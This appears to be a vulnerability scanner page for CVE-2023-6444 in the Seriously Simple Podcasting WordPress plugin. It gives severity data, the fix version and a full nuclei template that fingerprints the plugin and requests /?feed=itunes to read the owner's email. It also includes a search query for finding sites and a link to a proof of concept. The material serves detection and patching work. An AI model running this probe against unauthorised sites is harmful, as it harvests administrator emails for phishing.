CVE-2023-6444· castos / seriously-simple-podcasting
Seriously Simple Podcasting < 3.0.0 - Information Disclosure
mediumseverity
5.3CVSS score
2.5%likelihood of exploitation, next 30 days
85%of all CVEs are less likely
Readycheck to confirm it
The Seriously Simple Podcasting WordPress plugin before 3.0.0 discloses the Podcast owner's email address (which by default is the admin email address) via an unauthenticated crafted request.
Impact
Unauthenticated attackers can send crafted requests to obtain podcast owner email addresses which typically reveal administrator email addresses, enabling targeted phishing attacks.
Fix
Fixed in 3.0.0
How to confirm it
Send: GET /
Positive when: contains(body,"/wp-content/plugins/seriously-simple-podcasting") and status_code == 200
Send: GET /?feed=itunes
Positive when: contains_all(body,"<itunes:email>","</itunes:email>") and contains(content_type,"text/xml") and status_code == 200Run it with nuclei: nuclei -id CVE-2023-6444 -u <target>
The full check
id: CVE-2023-6444
info:
name: Seriously Simple Podcasting < 3.0.0 - Information Disclosure
author: s4e-io
severity: medium
description: |
The Seriously Simple Podcasting WordPress plugin before 3.0.0 discloses the Podcast owner's email address (which by default is the admin email address) via an unauthenticated crafted request.
impact: |
Unauthenticated attackers can send crafted requests to obtain podcast owner email addresses which typically reveal administrator email addresses, enabling targeted phishing attacks.
remediation: Fixed in 3.0.0
reference:
- https://wpscan.com/vulnerability/061c59d6-f4a0-4cd1-b945-5e92b9c2b4aa/
- https://github.com/Wayne-Ker/CVE-2023-6444-POC/blob/main/cve-2023-6444.py
- https://nvd.nist.gov/vuln/detail/CVE-2023-6444
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
cvss-score: 5.3
cve-id: CVE-2023-6444
epss-score: 0.02463
epss-percentile: 0.846
cpe: cpe:2.3:a:seriously_simple_podcasting_plugin:seriously_simple_podcasting_plugin:2:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 2
vendor: castos
product: seriously-simple-podcasting
framework: wordpress
publicwww-query: "/wp-content/plugins/seriously-simple-podcasting/"
tags: cve,cve2023,wordpress,wp-plugin,exposure,wp,seriously-simple-podcasting,vuln
flow: http(1) && http(2)
http:
- raw:
- |
GET / HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- 'contains(body,"/wp-content/plugins/seriously-simple-podcasting")'
- "status_code == 200"
condition: and
internal: true
- raw:
- |
GET /?feed=itunes HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- 'contains_all(body,"<itunes:email>","</itunes:email>")'
- 'contains(content_type,"text/xml")'
- "status_code == 200"
condition: andReferences
- https://wpscan.com/vulnerability/061c59d6-f4a0-4cd1-b945-5e92b9c2b4aa/
- https://github.com/Wayne-Ker/CVE-2023-6444-POC/blob/main/cve-2023-6444.py
- https://nvd.nist.gov/vuln/detail/CVE-2023-6444
Use this check only on systems you are authorised to test. Where the data comes from